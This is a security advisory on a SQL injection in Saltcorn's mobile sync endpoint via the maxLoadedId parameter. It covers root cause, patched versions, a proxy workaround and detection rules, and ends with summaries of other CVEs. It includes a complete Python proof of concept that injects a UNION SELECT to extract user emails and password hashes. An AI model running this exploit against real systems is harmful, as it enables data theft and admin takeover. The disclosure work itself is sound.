Apr 17, 2026·7 min read·28 visits
Saltcorn's mobile synchronization endpoints fail to properly sanitize the `maxLoadedId` parameter. An authenticated user with read access to a single table can exploit this via a crafted JSON payload, resulting in complete database compromise and potential privilege escalation.
A high-severity SQL injection vulnerability in the Saltcorn `@saltcorn/server` package allows low-privileged, authenticated users to execute arbitrary SQL commands. The flaw resides in the `/sync/load_changes` endpoint, where user-controlled input is directly interpolated into database queries without sanitization.
The vulnerability exists in Saltcorn, an open-source no-code application builder. Specifically, the @saltcorn/server package exposes mobile synchronization endpoints designed to update mobile clients with recent database changes. The vulnerability resides within the POST /sync/load_changes and POST /sync/deletes API routes.
The core issue is classified as CWE-89: Improper Neutralization of Special Elements used in an SQL Command. The application fails to sanitize or type-cast the maxLoadedId parameter before utilizing it in dynamic SQL query construction. This parameter is extracted directly from the incoming JSON request body and passed to the database execution engine.
Exploitation requires the attacker to possess an authenticated session. The attacker only needs the lowest privilege level (default role_id >= 80) and read access to at least one database table. Upon successful exploitation, the attacker can execute arbitrary SQL commands against the backend database.
The vulnerability carries a CVSS v3.1 score of 9.9, reflecting a critical severity level. The impact spans complete loss of database confidentiality, integrity, and availability. In specific database configurations, such as PostgreSQL deployments, the attacker may also execute secondary data manipulation commands.
The root cause of this vulnerability stems from an architectural failure to employ parameterized queries or strict type casting within the synchronization logic. The application utilizes string interpolation via template literals to construct SQL statements dynamically. This pattern bypasses the protections typically afforded by modern Object-Relational Mapping (ORM) frameworks or database driver parameterization features.
The vulnerable logic is located in packages/server/routes/sync.js. The getSyncRows() and getDelRows() functions handle the synchronization data extraction. When a client requests a data sync, the server identifies the tables the user can access and iterates through the provided syncInfos object to determine the last synchronized state.
Within the getSyncRows() function, the syncInfo.maxLoadedId variable receives its value directly from req.body.syncInfos[tableName].maxLoadedId. The application fails to parse this value as an integer. Consequently, any string value provided in the JSON payload is concatenated directly into the WHERE clause of the SQL statement.
A secondary vulnerability path exists within the getDelRows() function. The endpoint processes the syncTimestamp parameter to construct Date objects. If the input is manipulated to alter the prototype or behavior of the valueOf() execution, the subsequent string interpolation may result in an injection vector. The lack of robust input validation mechanisms enables the manipulation of these numeric and date-based boundaries.
The flaw is evident when examining the getSyncRows() function in packages/server/routes/sync.js. The following snippet illustrates the direct interpolation of unvalidated user input into the database query structure.
// packages/server/routes/sync.js - getSyncRows()
// Line 68 — maxLoadedId branch (no syncFrom)
where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId}
// Line 100 — maxLoadedId branch (with syncFrom)
and info_tbl.ref > ${syncInfo.maxLoadedId}In the code above, the pkName variable is correctly processed through the db.sqlsanitize() function. However, the syncInfo.maxLoadedId variable is appended directly to the statement. If an attacker supplies a string payload such as 999 UNION SELECT... instead of the expected integer, the database engine processes the concatenated string as valid SQL syntax.
The vulnerability is remediated by enforcing strict type casting on the incoming data. The patch ensures that maxLoadedId is parsed as an integer using parseInt() or equivalent methods before query construction. Additionally, robust parameterization via the database driver prevents dynamic string evaluation by the database engine.
Exploitation of this vulnerability requires an attacker to satisfy three prerequisites: valid application credentials, extraction of a valid CSRF token, and read permissions on at least one database table. The attacker authenticates normally and captures the session cookie and CSRF token from the application's initialization response.
The attacker constructs a malicious JSON payload targeting the /sync/load_changes endpoint. The syncInfos object must reference a table the attacker is permitted to read. The maxLoadedId attribute for that table is replaced with a crafted SQL payload. A UNION SELECT statement is highly effective for data exfiltration.
The following Python Proof-of-Concept automates the exploitation sequence. It authenticates as a standard user, retrieves the necessary tokens, and sends the injected payload to extract the administrator credentials from the users table.
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "user@example.com"
PASSWORD = "password123"
s = requests.Session()
# 1. Fetch CSRF token for login
r = s.get(f"{BASE}/auth/login")
csrf_login = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text).group(1)
# 2. Login
s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
# 3. Get authenticated CSRF token
r = s.get(f"{BASE}/")
csrf = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text).group(1)
# 4. Inject SQL via maxLoadedId
payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--"
body = {
"syncInfos": {
"notes": {
"maxLoadedId": payload
}
},
"loadUntil": "2030-01-01"
}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
print(json.dumps(r.json(), indent=2))The server returns the results of the injected UNION SELECT query within the standard JSON synchronization response. The attacker parses this response to retrieve the exfiltrated rows.
The primary impact of this vulnerability is unrestricted data exfiltration. An attacker can extract the contents of any table within the database, bypassing application-level authorization controls. This includes sensitive structural tables, such as _sc_config, which often contain integration secrets, API keys, and environment variables.
The extraction of the users table represents an immediate critical risk. The attacker can retrieve bcrypt password hashes for administrative accounts. These hashes can be subjected to offline cracking or, in specific configurations, the attacker can hijack active administrative session identifiers.
The impact on data integrity and availability depends heavily on the underlying database engine. In environments utilizing PostgreSQL, the database driver often permits stacked queries or multiple statement execution within a single call. An attacker can append Data Manipulation Language (DML) or Data Definition Language (DDL) statements to the injected payload.
Through DML and DDL execution, the attacker can delete critical application tables, modify application configurations, or escalate their own privileges directly within the database. This escalation path transitions the attacker from a low-privileged user to full administrative control over the Saltcorn instance.
The definitive remediation for this vulnerability requires upgrading the @saltcorn/server package. Administrators must apply the patch corresponding to their current release branch. The vulnerability is resolved in versions 1.4.6, 1.5.6, and 1.6.0-beta.5. The patch correctly enforces type casting on the maxLoadedId parameter.
Organizations unable to deploy the patch immediately can apply a temporary workaround at the reverse proxy layer. Modifying the ingress controller, Nginx configuration, or Web Application Firewall to drop or block POST requests targeting the /sync/* route structure effectively neutralizes the attack vector. This workaround will disable mobile application synchronization functionality.
Security teams should configure their network security monitoring solutions to inspect the JSON payloads of incoming POST requests directed at /sync/load_changes and /sync/deletes. Detection rules should flag the presence of SQL syntax, such as UNION, SELECT, FROM, or comment operators (--, /*) within the maxLoadedId integer field.
Post-incident response procedures should include reviewing application logs for unauthorized access to the /sync/load_changes endpoint. Administrators must force password resets for all users and rotate any API keys stored within the database if exploitation is suspected, as the exfiltration leaves minimal traces beyond the anomalous POST request size.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@saltcorn/server Saltcorn | < 1.4.6 | 1.4.6 |
@saltcorn/server Saltcorn | >= 1.5.0-beta.0, < 1.5.6 | 1.5.6 |
@saltcorn/server Saltcorn | >= 1.6.0-alpha.0, < 1.6.0-beta.5 | 1.6.0-beta.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 |
| Attack Vector | Network |
| CVSS Score | 9.9 (Critical) |
| Privileges Required | Low (Authenticated) |
| Impact | Total Compromise (Confidentiality, Integrity, Availability) |
| Exploit Status | Proof-of-Concept Available |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CVE-2026-82329 is a critical authentication bypass vulnerability in the core authentication mechanisms of JFrog Artifactory. Classified under CWE-287, this security weakness allows remote, unauthenticated attackers to bypass authentication controls and obtain full administrative privileges on vulnerable self-managed deployments running default configurations.
CVE-2026-55854 identifies a critical security flaw in the MariaDB Connector for Node.js (mariadb npm package). When establishing connections, the driver fails to validate transport security requirements during Pluggable Authentication Modules (PAM) dialog authentication. This vulnerability allows active on-path attackers or malicious database servers to coerce the client driver into transmitting user credentials in cleartext over unencrypted TCP connections.
An integer overflow vulnerability (CWE-190) exists in klever-go, the Go implementation of the Klever blockchain protocol, within the Semi-Fungible Token (SFT) addition path. An attacker with a mint role can exploit this by passing an extremely large positive value when adding SFT quantity, which overflows a signed 64-bit integer. This bypasses the maximum supply checks and allows minting arbitrary tokens while corrupting the state.
A high-severity log evasion and tampering vulnerability in Graylog's FortiGate key-value syslog parser allows unauthenticated remote attackers to modify, delete, or overwrite critical security log fields, potentially bypassing security controls and monitoring systems.
An Insecure Direct Object Reference (IDOR) vulnerability exists within the access-token revocation endpoint of Graylog. Authenticated users can exploit this flaw to delete access tokens belonging to other users, including high-privileged administrator accounts, thereby disrupting active integrations and API access.
An improper authorization vulnerability in SeaweedFS versions 4.08 through 4.33 allows authenticated, low-privileged users to bypass directory isolation and perform unauthorized metadata operations within S3Tables and Iceberg REST interfaces. The vulnerability arises from an automatic collapse of account-less static identities to the default administrative principal, combined with a fail-open default policy configuration and self-referential authorization parameters in the table bucket listing routines. Together, these logical flaws expose administrative configurations and namespace architectures to unprivileged actors. The issue is resolved in version 4.34 by enforcing capability-based access checks, isolating fallback modes, and performing granular access verification on target buckets.